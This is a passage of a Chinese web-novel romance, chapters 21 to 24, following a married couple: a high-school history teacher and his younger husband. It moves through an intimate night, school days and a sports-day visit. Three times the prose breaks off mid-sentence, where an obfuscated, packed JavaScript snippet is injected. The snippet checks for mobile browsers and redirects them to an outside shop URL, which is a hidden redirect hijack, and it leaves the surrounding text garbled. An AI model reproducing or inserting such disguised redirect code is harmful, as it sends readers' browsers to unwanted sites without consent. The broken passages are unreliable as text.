“逗你的。”等红灯的间隙霍觅看见方知安憋笑的嘴角,也轻笑了一声。 * 梁巡之前基本没来过云湾这边。 霍觅搬出来的时候他已经上高二了,平时回家都不得空,更别说来哥哥新家。 霍觅把客房划给了梁巡,至于在哪做作业梁巡倒是不太在意,总之现在不回学校就是赚到。 到了睡觉的点。 方知安往床上一倒,顺势给自己盖上被子,洗漱完的霍觅也钻了进来。 霍觅的胳膊靠着方知安,他睡前没有看手机的习惯,所以自从睡在一起之后床头灯都是方知安在管。 片刻后,卧室彻底暗了下去,但门口却传来了猫科动物走路的声音。 圈圈现在学聪明了,知道自己猫爪子一拉就可以开门。 今晚它准备钦定主卧为自己的床,听见里面没了动静,甩了甩尾巴就走了进来。 在床边踱步了一会儿,圈圈毫不留情地一跳,正好把尾巴搭在了方知安的脖子上。 方知安脖子那一圈都敏感,没忍住往后捎了捎,正好就贴上了霍觅的身体。 背后的热度明显,方知安刚想挪开些,圈圈又再度乘胜追击,干脆利落地趴在了他的身前。 “圈圈,别闹。”方知安摸了摸小猫的脑袋。 “喵~”圈圈不耐地叫了声。 方知安被圈圈挡着,只能和霍觅碰在一块儿。 热度渐升,霍觅的呼吸在黑暗中似乎急促了一瞬。 而等到方知安将圈圈挪到边上想要翻身时,却发现了某些意料外的状况。 他的动作瞬间僵住。 霍觅低哑的声音随之响起:“抱歉学长,我不是故意的。” 他侧躺着,前胸紧贴着方知安的后背。 方知安也知道,他脑内一片空白,只含糊着说没事,刚想离开又被霍觅一下牵住了胳膊。 “学长,别走。”霍觅的声音很轻。 “你……接受我们有一点亲密行为吗?” 霍觅的语气像是请求,但抓着他胳膊的手却没有松开,冰凉的戒指硌在方知安的手腕上,像是某种含蓄而隐晦的渴望。 方知安的呼吸倏然变轻。 21. 我不太会 他曲着腿不敢乱动,生怕碰到什么。霍觅的话就砸在他耳边,避无可避。 方知安心跳鼓噪,手腕上冰凉的触感愈发明显。霍觅的力道不算太大,但方知安却难以挣开。 霍觅没有再开口,只是静默地抵着方知安的后颈,而他额前的碎发在方知安的脖子上作乱,弄得方知安的心更乱了。 黑暗中,哪怕方知安背对着霍觅都能猜出身后的人此时脸上的神情。 肯定是带着一点委屈的可怜,和之前每一次一样。 “可以吗?”霍觅又问。 沉默都变得焦灼,方知安深吸一口气,最后下定了决心。 反正他们都已经结婚了,这些事对他们而言好像也没什么。 就当是义务。 许久未得到回音,霍觅似乎是准备放弃了,他刚要松开手,下一秒,方知安就抓住了他的胳膊。 “等一下。”方知安的声音响起,霍觅的动作一顿。 此时方知安耳朵红得滴血,但幸好黑暗可以掩盖一切,不至于让他看起来太羞窘。 他缓缓转过身,语气有点颤地开口:“可以……但我可能不太会。” 方知安抬起头,和近在咫尺的霍觅对视,他看不清那双眼睛,只能捕捉到一点光亮。 霍觅像是在盯着他。 方知安的后颈突然一紧,只觉得自己似乎是被什么危险的动物盯上了。 霍觅攥着他手腕的手忽然用了力,而他的声音像是在压抑什么,变得有些哑:“没事的学长,我来教你。” 方知安的心跳快了一瞬,没等他反应过来,霍觅的手指就一点点滑入了他的指缝,然后严丝合缝地扣住了他的手掌。 下一个瞬间,方知安被霍觅灼热的呼吸包裹,随后的一举一动都被可以引导。 他不重欲,平时不怎么纾解,因此对自己的身体都不甚熟悉,更不用说别人。 除开两人都记不太清的第一次亲密,这大概算他们靠得最近的一次。 在床尾睡觉的圈圈被他们的动静弄烦了,“咚”的一声就跳下了床,但方知安什么也不知道,他的思绪早已匆匆下了线,只剩一具滚烫的躯壳,被霍觅带着生涩动作。 不知过了多久,他的手腕都已发酸,霍觅的呼吸声才变了变。 方知安顿时手忙脚乱,抻起身就想要去找床头的纸巾盒来收拾残局,但他还没完全坐起又被霍觅拖了回去。 “怎、怎么了?”方知安只觉得手心发麻。 霍觅的手卡住了他的腰窝,头抵着他的肩,呼吸轻飘飘洒落,激荡开一片暧昧的涟漪。 “学长,我帮你。” 此时的他像是童话中的人鱼,声音带着不可拒绝的魔力,方知安刚松下来的情绪又再度被调动,不同于刚才,这次他似乎失去了选择余地。 “我没事的,”方知安磕磕绊绊开口,一想到梁巡还在家里,他更觉得难为情,“你别管了,过会儿就好了……” 霍觅却摇了摇头,态度鲜明地无声拒绝。 平时他凡事以方知安为先,现下却变得不由分说起来,根本没给方知安逃开的机会。 他的胸口和方知安的后背无间相贴,剧烈的心跳几乎穿凿方知安的背脊,强烈的共振带动了另一颗心脏。 方知安倏地睁大了眼,喉咙底下溢出了一些声响。 霍觅贴心地搂住方知安的腰,音色低哑提醒道:“学长记得轻点,客房听得见。“ 方知安闻言浑身一抖,咬住下唇紧闭上了眼,在心里下了论断。 恶劣的学弟。 夜晚似乎漫长到难以计量,方知安难耐仰头,小腿的筋脉都跟着抽搐。 他精疲力尽,胸口的戒指项链不知何时掉出了衣领,躺在枕头的边沿,绷成了一道银色的直线。 喧嚣燥热的卧室终于静了下去,霍觅细致地擦了又擦,还十分体贴地帮他整理好了链子,最后很轻地吻了吻方知安的额头。 方知安在心理生理的双重刺激下没了力气,昏昏沉沉间只觉得什么柔软温热的东西碰了碰自己的额头。 “学长,做个好梦。” * 晚上胡闹的太过,闹铃都已经不知道响了多久方知安才悠悠转醒。 霍觅昨天就提过今天要出差,因此方知安醒来的时候他早已离开,房间变得空空荡荡,只有圈圈舒服地霸占着霍觅的位置,懒洋洋地翻了个身。 方知安坐在床上有点懵,身边的被窝是冷的,往常他睁开眼都可以见到霍觅,但今天整个公寓里只剩下他一个,还怪不习惯的。 他眨了眨眼,总感觉哪里空落落的。 他翻身下床快速地洗漱了一番,刚洗完脸回到床头拿手机,来自霍觅的电话就适时响起。 “霍觅?怎么了。”方知安手还沾着水,有点湿,因此把手机用耳朵夹在了肩上。 “早上走的急,”霍觅那头人声鼎沸,“我来找你确认一下。” “确认什么?” “确认学长你有没有生气,现在还理不理我。” 方知安一噎,忽然脸又有点热:“你大清早在胡说什么。” 说完他又补充:“……我没生气,你别多想。” 霍觅笑着说:“不生气就好,我还担心你会不理我。” “我没那么幼稚,”方知安摸了摸发烫的耳朵,“好了我上班去了,你好好出差。” “嗯,学长再见。” 方知安放下电话,原先的空落一下子无影无踪,也不知道霍觅哪来的魔力。 时间不早,他出卧室的时候梁巡也跟游魂一样飘了出来。梁巡身上的校服穿得倒是整齐,只是人看起来实在没什么精气神,昨天刚出学校的时候还神采奕奕,这会儿又成了蔫黄瓜。 梁巡呆呆抬头,只见方知安双颊微红,气色好得不行。 ”方老师,上班真的比上学好这么多嘛,你为什么看起来一点都不困。”梁巡麻木地揣起书包。 方知安拍了下梁巡的后脑勺:“想什么呢,去学校了,等会儿要迟到了。” 霍觅不在,梁巡略微变大的胆子又悄无声息地缩了回去,看见方知安就想到令人肝颤的历史,大清早就有些反胃。 结果方知安刚启动引擎,梁巡的肚子就十分应景地叫了声。 “咕噜噜——” “饿了?”方知安回头问。 “嗯,我不吃早饭就饿,”梁巡有点不好意思,他捂住了肚子,“不过现在去食堂好像有点晚。” “没事,我们校外买,你想吃什么?” “小笼包吧,那个排队最快。” “行。”方知安应下。 一中建的年纪久,校区也老,附近都是各色居民小区,而高中西面就是一整条小吃街,什么店都有,早餐店更是不缺,颇得学生青睐。 方知安停了车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073685|149406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,跑下去飞快买了两笼小笼包,顺便又给梁巡拿了瓶豆奶。 梁巡看见早饭眼睛都亮了:“谢谢方老师!” “这有什么。”方知安开着车,穿过拥堵的街道进了学校。 下车后梁巡突然想起什么,他问:“方老师,昨天晚上圈圈是不是饿了?” “嗯?”方知安不明所以。 “我睡得迷迷糊糊,好像听见它在外面叫,”梁巡想了想,“下次还是多喂点猫粮吧,圈老板年纪不小,稍微胖点总比饿坏了好。” 他说完就快步跑去了班里,独留方知安一个人后知后觉意识到那究竟是什么,然后尴尬难言。 方知安拿出手机看了眼,现在要他对霍觅生气的话,也不是不可以。 最近学校里来了几个实习老师,都是名校的在读生,其中有一个教的是历史,正好被分到了方知安那。 实习老师一般来得都比较晚,开学了有一段时间才进学校,偏偏方知安要带的这个还生了场病,来得比其他人更晚了几天。 方知安进办公室的时候看见旁边的空桌上坐了个人,刚开始还没反应过来。 “你是?”方知安放下小笼包问。 男生看起来挺年轻,文质彬彬,也戴了副眼镜。他礼貌开口:“您好,我是来这实习的,前两天生病了所以今天才来,真是不好意思。” 方知安听他这么一说才想起这么个人,他对别人名字都记得牢:“嗯我知道,我记得你叫陈然是吗?” 陈然点点头,没想到面前这个老师还记得自己叫什么。 方知安笑着说:“我叫方知安,就是带你的历史老师,我教高三(2)班,到时候你有什么不懂的都可以来问我。” “好的,谢谢方哥,那就麻烦你了。”陈然也笑着回,眼神却在方知安脸上多驻留了两秒。 无他,方知安的脸确实会让人忍不住留意。 陈然还在读大学,平时接触到的都是差不多性子的同龄人,蓦然见到这么一个让人如沐春风的“领导”,一下没缓过劲来,心跳漏了一拍。 方知安没注意到这些,只简单跟他交代了一下实习的事项。 昨天班里出了大事,今天那些人终于消停下去,方知安趁此机会又把纪律交代了一遍。 开学之后时间就过得飞快,眼下已经临近高三的第一次月考,学生们或多或少也都紧张了起来。 学生紧张,方知安也不轻松。他今天轮上晚自习,傍晚的时候没回家,去食堂简单解决了一下。 回到办公室看见陈然还没走,方知安诧异道:“这么晚了还不回家?” 陈然说:“刚要走,今天笔记有点多,我理完才好回去。” 小伙子还挺上进的,方知安想。 他跟陈然不熟,也没再多说话,一打开手机就看见了霍觅发来的消息。 【霍觅:[图片]】 那是一张圈圈吃罐头的照片,它馋得猫胡子全伸肉汤里了。 【霍觅:家里只有我一个[大哭/]】 【霍觅:学长,想你了】 方知安心头一热,忽然懂了别人口中“老婆孩子热炕头”的乐趣。 他嘴角的笑惹眼,透着截然不同的温柔,要离开的陈然一时之间看呆了。 “方哥你......” “怎么了?”方知安带着笑抬眼,但还没等陈然回话,又笑着给霍觅回去了消息。 22. 你哥撒娇 【圆:出差回来了?】 【霍觅:刚到家,圈圈问我讨罐头吃】 【圆:你晚饭吃了吗?】 【霍觅:[图片]】 配图是一碗康达人泡面,里面依稀飘着一点菜叶子和肉沫,一想到霍觅忙活了一天晚饭只吃一顿泡面,方知安瞬间觉得霍觅还挺可怜的。 霍觅的消息还在继续。 【霍觅:其实我也不饿,但是你不在我好像没什么胃口】 【霍觅:吃什么都可以的,你上班就好了】 方知安的眉头皱得更紧,良心不安。 【圆:晚上回来给你带宵夜,有什么想吃的吗?】 【霍觅:这太麻烦你了学长】 【霍觅:我都可以】 方知安回完消息,放下手机的时候陈然眼神有点呆,没多说什么,理好东西就走了。 方知安微信给霍觅的备注就是名字,删掉了此前客气的前缀,然后一直用到现在。原本方知安不觉得有什么,但现在看来似乎有点生硬。 他点开敲敲打打,顺溜地换了一个。 去教室之前他看了眼桌上厚厚一沓卷子,估摸着晚上最多做三张,于是随机抽了三个幸运儿跟他一块儿去上晚自习。 今天沈苗苗她们叫了奶茶的外卖,给方知安也带了一杯,他白天课多没来得及喝,晚自习拿过去倒是正好。 二班的纪律一直不错,但凡是自习一般都没什么人会说话,班上安安静静,大家都认真干自己的事。 不过文科班都有都用相同的弊病,那就是数学一般不太好。 说不太好还算谦虚的,王充裕那本就不多的头发为文科班愁掉了大半,结果还是起色不多。 因此晚自习刚开始大多数学生都在写数学作业,梁巡他们那个方向变得很热闹,时不时就有几个纸团被抛过去。 梁巡和徐自乐也习惯了,捡起纸团来填上问题答案,然后一抬手再抛回去。 对此方知安对此很宽容,只要动静不大就不管。 他在讲台上埋头写卷子,有人要答疑的话他就会和学生一起到外面,这样不影响别人。 过了会儿写累了,他就时不时从书底下掏出手机来摸下鱼。 外面的校领导和年级主任巡逻经过,全班从老师到学生瞬间十分默契地看向面前的书页,然后奋笔疾书。 副校长很满意,笑着拍了拍年级主任的肩膀:“小方真的不错啊,书教得好,班也带得好,就是干劲稍微欠缺了点。” 方知安对此一无所知,正好遇上一道出得不错的题目,他一延伸到其他的知识点,半个多小时就过去了。 下课铃响,班上的氛围骤然一松。 方知安年纪轻,算是学校里最年轻的那一批老师,比较时髦,和学生们还有不少共同语言,再加上他那张好看的脸和脾气,下课的时候总有学生爱跑上来找方知安聊天。 方知安以前读书的不爱和人交流,在学生面前倒是变得开朗不少,每次听他们说笑话也觉得有趣。 班上有一两对早恋的小情侣,下课的时候就亲密地坐到一块儿。 方知安在这方面管得不宽不严,只要两个人成绩不下滑,他就当不知道,但要是影响了学习,他也不手软。 高三这段时间难熬,大家都是苦中作乐,连教室里飞进来只蛾子都是乐事。 看他们苦哈哈的怪可怜,今天方知安还拷了个历史视频来班里放,就当是让大家放松放松。 梁巡坐在后排,一只手悄无声息地伸出,眼疾手快从徐自乐那掏了点薯片。 他远远看着讲台边上的方知安,而他们方老师此时也正专注地看着屏幕上的视频,只露出一点柔和的侧脸,眼角带笑,看起来很温柔。 “我问你个事。”梁巡突然开口。 “怎么了?”徐自乐咔啦咔啦地吃着薯片。 梁巡顿了顿:“就是我最近和我哥还有方老师的接触不少。” “嗯,然后呢?” “我就是觉得我哥在方老师面前和平时不大一样。怎么说呢……我也没法形容,就是感觉我哥好像变了个人似的。” 徐自乐和梁巡关系铁,也知道他们家家境殷实,他哥是开公司的。但对于霍觅到底是个怎么样的人,徐自乐却不太清楚。 梁巡是个死脑筋,既然这么问就是遇到想不通的事了。 徐自乐一拍胸脯,准备帮兄弟排忧解难。 “那你先说说,你哥平时怎么样?” “平时么,看起来有点不近人情,话也不多,不过对家里人都很好。” “那在方老师面前呢?” “话好像变多了,还老是叫方老师‘学长’,特腻歪。” “我懂了!”徐自乐大呼一声,“你哥肯定是在撒娇。” 梁巡听这话起了一身鸡皮疙瘩,怎么都没办法把一拳能把他打飞的霍觅和撒娇俩字联系到一块儿。 “这不能吧,我哥挺高冷的。”梁巡不确定,目光犹疑地看向徐自乐。 “你懂什么,高冷这种都是对别人的,”徐自乐信誓旦旦,“撒娇男人最好命听过没,我猜方老师肯定吃这套,你哥都这么腻歪了,这还有什么好怀疑的。” 说得好像也是。 梁巡终于被说服,缓缓点了点头,“有道理。” 晚自习的时间一转眼就过去了,最后的铃刚响了个开头,学生们就撒开腿就往寝室跑,争着去洗澡抢吹风机。 方知安等人潮过去才出办公室,他拐去旁边街上顺手买了点宵夜,准备回家投喂非常可怜的霍先生。 他提着热气腾腾的烤串上楼,一开门,就看见霍觅靠在门口等他。 “怎么站在这。”方知安把包摘下。 “圈圈听见声音了,所以我们过来等你。”霍觅说着,圈圈就跳了起来,想要伸爪子去够方知安手里的宵夜。 肉味太香,圈圈根本耐不住性子,只想把里面的东西钩出来。 方知安笑着把手一抬,另一只手把圈圈夹了起来:“别闹,这是给你小爸的。” 说着他就把手里的东西递给了霍觅:“不知道你喜不喜欢,不喜欢我下次就换点。” 霍觅一愣,随后接过吃食,被刚才的称谓一弄,心里别提多美。 有些话他说是一回事,方知安主动说就是另一回事,霍觅倒希望圈圈再闹腾会儿,这样方知安还能多说两句。 由于昨天的前车之鉴,今天睡觉前方知安特别留意了门口,确定圈圈大爷准备睡外边才缓缓躺下。 但主卧的床 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073686|149406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就这么大,熟悉的位置,熟悉的气息,那些零星的片段又不由分说地回到了方知安的脑海里。 他甚至还能想起霍觅掌心的温度。 偏偏这个时候霍觅还使坏,他碰了碰方知安有些僵硬的胳膊,明知故问:“学长,你在想什么?” 方知安不动声色收回手:“没什么,早点睡。” “学长,你昨天不满意吗,”霍觅的声音有点委屈,“是我弄疼你了嘛?” “下次我不戴戒指了,这样不会硌——” “停!”方知安越听越不对劲,情急之下立马叫了暂停。 他脸烧得厉害:“没有,我很满意……晚上别说这个。” “晚上不说?那什么时候说。”霍觅靠近一点,轻轻搂住方知安的腰。见他没有抗拒,就又搂得紧了一点。 他埋下头,嗅了嗅方知安发间的香味,说:“学长,你洗发水的味道很好闻。” “我和你用的是同一个。”方知安没动,有点僵硬地任他抱着。 现在他确定了,亲密行为之后的霍觅变得更加肆无忌惮。不过方知安并不反感这种接触,只是还没完全习惯。 “这样吗,”霍觅语气疑惑,“那就是你的味道好闻。” 方知安也是个正常的成年男性,被霍觅抱着这么一本正经夸实在有点受不住。 为避免擦枪走火,他企图把话题往其他方向引导。 “对了,之前你说陈建那边交给你,他最近真的没来找过我,你做了什么?”这件事方知安一直很好奇,现在找着机会也就问出来了。 霍觅沉默了片刻,然后说:“也没说什么,我找人去查了陈建和陈知洋以前的履历,陈建当包工头的时候工地上安全措施做的不好,闹出过人命。” 方知安很早就不和陈建直接来往,对这些一无所知。 他听着霍觅的话语浑身一僵,眼前又浮现起那个男人混浊暴戾的眼神。 “然后呢?” “他之前给受害人家属塞了点钱,那边被他逼着息事宁人,我只是派人和陈建说清楚了这事。”霍觅简单解释,而那些事关威胁,或是他的另一面却并未展露。 霍觅还没有万全的把握,他担心方知安会因此对他生出怯意,因此之前他也没有主动和方知安说起过这件事。 怀里人久久不语,霍觅的心都变得忐忑起来。 良久,方知安轻叹了一口气,他仰头,安安稳稳靠在霍觅怀里。 “麻烦你了。”方知安的语气有点低落,“如果真要做什么,你不用留情面。” 刚才的瞬间,他想到很多人,舅舅一家,陈知洋,还有妈妈。如果他的父亲不是陈建,那他们这个家庭也许不会走到今天这一步。 但他偏偏是陈建的儿子,他们流淌的血都是一样的。 方知安厌恶这一点,却无力改变。 霍觅察觉到他的心情变得低落,手掌拢上了方知安的后颈:“晚上不说这个,我们说点别的。” 黑发在他之间轻动,很柔软,像方知安这个人一样。 “别的是什么?”方知安任他动作,像被抓住后脖子的猫似的眯起了眼。 “别的么,后天我们出去吃个晚饭吧,”霍觅笑着说,“学长,我的朋友都很想见见你。” 23. 可以亲吗 “见我?” 方知安没想到这一茬,他身边的交际圈不广,关系真正亲近的朋友也只有余思雨一个,其他不过是点头之交,因此霍觅说自己的朋友想见他时,某种陌生的感觉陡然腾升。 和霍觅待在一起,他只觉得合拍舒服,霍觅从没提过二人之间的差距,也没让方知安感觉到任何居高临下的俯视。 霍觅早上和他一样想赖床,上班一样会摸鱼,晚上两人凑在一块儿吃烤串夜宵,霍觅还被辣得斯哈倒吸气,方知安有时候都很恍惚: 现在老板都这么平易近人么? “到时候人多吗?”方知安问。 霍觅算了算,说:“不多,算上我们俩也就五个人。他们三个都算我发小,我们从小一块儿长大,都是熟人。” 听霍觅说着,方知安忽然从记忆里翻出了一份协议,那是霍觅在他们结婚那会儿拟的。其实方知安只要想,他现在拥有的资产完全足够他放肆地躺平。 但他总有种不真实感,认为那些还是离自己太远。 方知安自己心里存了顾虑,难得钻了牛角尖。 “你说到时候我和你朋友们一块儿吃饭,会不会很尴尬?” 方知安开口的时候已是第二天,他们都在书房里干自己的事。说这话的时候他偏过头,撑着下巴看向霍觅,带着犹疑的视线越过镜片,将自己的意思都传达给身边的人。 霍觅闻言面抿了抿唇,暂时放下了手中的文件。 “学长,你是不是觉得太突然了。” “没有,”方知安摇摇头,他知道这有点矫情,“我突然想到就跟你说说。” 霍觅心思细腻,他知道方知安是什么意思。 “我们中许多人不过是沾了父母的荫蔽,真要说起来还远不如你。”霍觅说这话的时候认真,方知安一愣,又有点不好意思。 “我说的都是实话,我一直觉得你很厉害,”霍觅神色温柔,“你没有任何地方比不上别人,就连我也是,所以对我和我身边的人,你都不需要有顾虑。” 这事说来也不大,方知安白天却没少想,他以前不会纠结这些事,现在也不知怎么了,对这些涉及霍觅的事情都变得分外多心。 霍觅说得方知安脸热,于是他不动声色把手抬起来遮住了脸。大概是手抵着腮帮子影响了发声,他的声音有点含糊:“那我不多想了,所以我们明天下班了就直接过去吗?” 他只当自己是在正经地发问,但却不知道自己此时此刻在霍觅眼中是什么模样。 霍觅的眸色深沉了一瞬,他短暂地停顿了几秒,然后说:“嗯,明天我没事,到时候来接你。” “嗯,那先辛苦我们霍司机了。”方知安眯眼笑了笑,像是某种猫科动物。 方知安眉目清隽,瞳孔是乌亮的黑,盯着人笑得时候眼里含着一点光,一眨眼就上下晃,像是水里的一汪月亮。 他刚洗完澡没多久,身上就套了件简单的居家服,微湿的黑发垂落,懒散地搭在镜框上。 “不辛苦,”霍觅耳根泛起一点红,他悄无声地架起了腿,像是为了遮住什么,“霍司机非常乐意。” 方知安笑了两声,他的睡衣的领口宽大,半截脖子就这么露在外面。霍觅的喉结不由自主地上下动了动,他收回视线,但对着面前的文件却怎么也看不进去。 方知安这边心下安定了,拿起笔就准备接着写卷子。 他人好看,字也好看,随手一写就挺拔漂亮,每一笔都带着点含蓄地锋芒,平时的板书更是那群老师里最清楚整洁的。 方知安倒是想好好干活,但眼下霍觅并不打算接着工作。 写了没一会儿,他忽然觉得胳膊肘一热,抬眼就看见霍觅不知道什么时候滑着椅子把自己挪到了自己身边。 “学长。”霍觅叫他,声音有点低。 “怎么了?”方知安不明所以,他转过身看向霍觅,锁骨那一片白而骨感。 霍觅的眼神像羽毛,缓缓扫过方知安的脸,明明没什么实感,却让他不由得缩了一下。 “我想问你商量个事。” “什么事?”方知安的心跳突然漏了半拍。 “我可以亲你吗?” 霍觅说的话直白,但他本人却一点都不羞赧,只有方知安一下红了脸。 被礼貌询问的方知安不知所措,只愣在位置上,霍觅的胳膊贴着他的,但方知安当下的第一反应却不是拒绝。 他只是看着霍觅,而此刻的沉默又像是某种不需明说的默许。 椅子发出一点声响,霍觅倾身,方知安下意识闭起了眼,长睫颤了颤。 但他预料中的触感却并未出现。 霍觅放轻呼吸,只是小心翼翼地在他眉心吻了吻,热意稍纵即逝。 像是短暂停驻的蝴蝶,方知安甚至还没有感知到它的到来,它就已经离开。 晚风从窗口吹来,方知安只觉得四肢百骸都僵在了原地,全身上下的感知只剩眉心的一点温热。 “我以为你说的是......”接吻。 方知安话只说了一半,脸上的温度依旧居高不下。 霍觅嘴角微扬,他抬手把方知安的领口拢好,指腹短暂地碰了碰那截锁骨,穿着戒指的银链半躺在外面,原本冰凉的物件沾上了方知安的温度。 他坏心眼地抬眸,问:“方老师,我说的是什么?” 方知安看出来他是在逗人,索性转过身去想做卷子,但方才乱了节奏的心跳却没有一点平息,反而鼓噪不已。 他拿起笔,但却写不出一个字。 恶劣的学弟。方知安再度断言。 * 要出去聚会这天正好赶上一中的秋季运动会开幕,临上场了,方知安毫无准备地被班上的学生拉去表演节目,顺便被派发了一件班级文化衫。 白色的t恤简单,但胸口和后背都印了花,是干脆的“二班最棒”四字。 开幕式下午才进行,他跟着方阵走过主席台,嘴里也喊着“二班二班,猛虎下山,输赢看淡,勇夺江山”的口号。 旁边逃过一劫的沈苗苗揶揄着看向他,等方知安脱开班级队伍才笑着说:“方老师你们班这口号谁起的,有点雄健啊。” 方知安不管这事,只顶着简陋的文化衫摆了摆手:“好像是梁巡提议的,这群人,今天才叫我过去彩排,给我累得够呛。” 沈苗苗笑得毫不留情,她们班倒也给她准备了衣服,只不过在她的强烈拒绝下,那件正红色的紧身t恤没成功上身。 今天太阳大得吓人,方知安晒了半天,这会儿热得直冒汗。他扯了扯前襟,凉风灌进来带走了一点热度。 他长得显小,这会儿和学生穿得一样,站在那就像个没毕业的大学生似的。 操场上志愿者和学生来来往往,下午开幕式结束了还有比赛,现在这些都是准备工作。那些人里还有几个家长,都是自己报名过来帮忙的。 方知安今天没轮到晚自习,因为运动会的缘故或许还可以早些下班。 虽然天热但好歹还有点凉风,方知安在主席台下面躲了会儿懒,结果一转身就看见陈然火急火燎地跑过来。 “方、方哥,”陈然气喘吁吁,“班上有人崴了脚,你快过去看看吧。” 方知安一惊,立马跟着陈然往回走,刚回二班空地方知安就看见了呲牙咧嘴的徐自乐,现在伤员是谁已经一目了然了。 “怎么把脚崴了?” 徐自乐看见方老师来了,有点不好意思地低下头。 梁巡在旁边帮着他回答:“因为他爱显摆,没热身好就在那立定跳远。” 徐自乐面色一变,拍了把梁巡的后脑勺:“少说两句。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073687|149406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>方知安叹了口气,问:“现在感觉怎么样,很痛吗?” “还好,不是特别痛,就是不太能走。”徐自乐心虚道。 那还不算太严重,方知安松了口气,他环视了一圈,把张佳雪叫了过来:“这边的纪律你看着,有什么事到时候就告诉陈老师,我送徐自乐去校医室。” 他说着就把人带了起来,徐自乐也不敢太麻烦方知安,自己控制着重心,翘着右脚一点点往前挪。 校医室今天人不少,方知安搀着徐自乐等了会儿。校医对这种情况见怪不怪,看了两眼就说:“不算太严重,但最近这几天不要运动了,我给你拿瓶云南白药,你自己喷喷,回头要是还痛就请假去趟医院。” 徐自乐也是吃着苦了,小鸡啄米一样点头,只说:“谢谢谢谢,麻烦校医和方老师了,我以后一定注意。” 徐自乐喷了药好上不少,他性子倔,刚出校医室就跳着就往场地跑,方知安没办法,也就由着他去了。 陈然那边没动静,想来班里也不会再出什么事,方知安看了眼身上的文化衫,准备去办公室把这身换了。他晚上还要出去吃饭,顶着个硕大的“二班最棒”也不是个事。 走廊上王充裕迎面走来,问:“方老师怎么回来了?” “回来换身衣服。”方知安说。 王充裕原本也就是打个招呼,刚要走又突然想起什么:“对了,方老师你们班今年运动会有家长报名志愿者吗?” 方知安一愣,想了想说:“有是有,不过就一个,说是明天再过来。” “这样啊,我刚才在办公室楼梯口那边看见有人往上走,还以为是你们班的。”王充裕笑笑,他估计还有事,说完就快步走开了。 方知安没把这话放心上,只慢悠悠朝办公室那边走去,他看着沿路班级门口的绿植,顺手拿出手机给霍觅拨了个电话。 “喂?” “怎么了学长?” 方知安看了眼外头的太阳,说:“我这边快下班了,等会儿你来一中记得走后门,前门肯定要堵车。” “嗯,我知道了。”霍觅应声。 但他话锋又陡然一转:“不过今天已经来不及了。” “为什么?”方知安不明白,但恍惚间他却觉得今天的电话里还带着点回音。 霍觅没马上回答,给方知安留了个空白期,方知安白天累得够呛,脑子都变得迟滞,没想出个所以然。 下一秒,他只听见耳边和不远处几乎同时传来一声轻笑: “学长,抬头。” 方知安一怔,下意识就抬起了头,只见不远处办公室和楼梯的转角口,一个熟悉的身影静静伫立。 霍觅今天没穿往常的西装三件套,身上只有一件t恤,看起来干净挺拔。 他站在那,似乎已经等了有一会儿。 熟悉心跳感再度袭来,方知安小跑了两步。 “你怎么来了?”他很意外,但随后未知的喜悦便后来居上,占据了其他所有情绪。 霍觅走近,笑着说:“不是说了今天我来接你下班。” “可现在还没到时间。”方知安看了眼楼道口,“你是偷溜进来的吗?” “下午没事,我就早点过来了,”霍觅笑着说,顺道卖了个关子,“再说,我可是走正经渠道进来的。” “什么渠道?” “走后门。” 方知安一噎,非要说的话,这确实也算是正经。 霍觅接着问:“前两天梁巡说,你们要开运动会?” “嗯,今天刚开始。”教学楼离操场不远,站在楼上还能隐隐听见操场的歌声。 霍觅闻言,视线在方知安的文化衫上停驻,他眼角含着笑,像狐狸狡黠。 “听说家长可以自愿报名志愿者,那接下来两天,方老师介意多带一个我吗?” 24. 我追求你 霍觅笑着叫方知安方老师,方知安恍惚间都要以为这真是自己的学生。 “你是真来当志愿者,”方知安觉得这多少有点匪夷所思,“你公司里不忙吗,就这么溜出来了?” “就两天时间,全当给自己批了个假。”霍觅和方知安站在墙角,旁边的绿箩长而繁茂,几乎要爬到地上,他比方知安高一点,低下头的时候满眼都是笑意。 他说这话的时候神色认真,一点都不像玩笑,方知安自然也知道。 “这件事你什么时候决定的,怎么也不告诉我一声。”方知安问。 “保留一点神秘,”霍觅抬起手机晃了晃,“我想见你,正好有这个机会就来了。” “学长,你喜欢吗?” 冥冥中方知安似乎是被说中了心思,他忽然想起昨天那若即若离的一吻,下意识地偏开了一点视线,含糊说:“喜欢。” 得到肯定的答案霍觅心满意足,他伸手拨开了方知安作乱的那一绺黑发。 ”你来这事梁巡知道吗,”方知安没躲,任由霍觅摆弄他的头发,“他要是知道你来当后援那不得开心坏了。” 霍觅眉梢轻挑,他说:“刚才他大概是不知道的,但现在——他应该知道了。” 他说着指了指方知安身后的方向,方知安转身看去,只见梁巡呆呆地站在走廊中央。 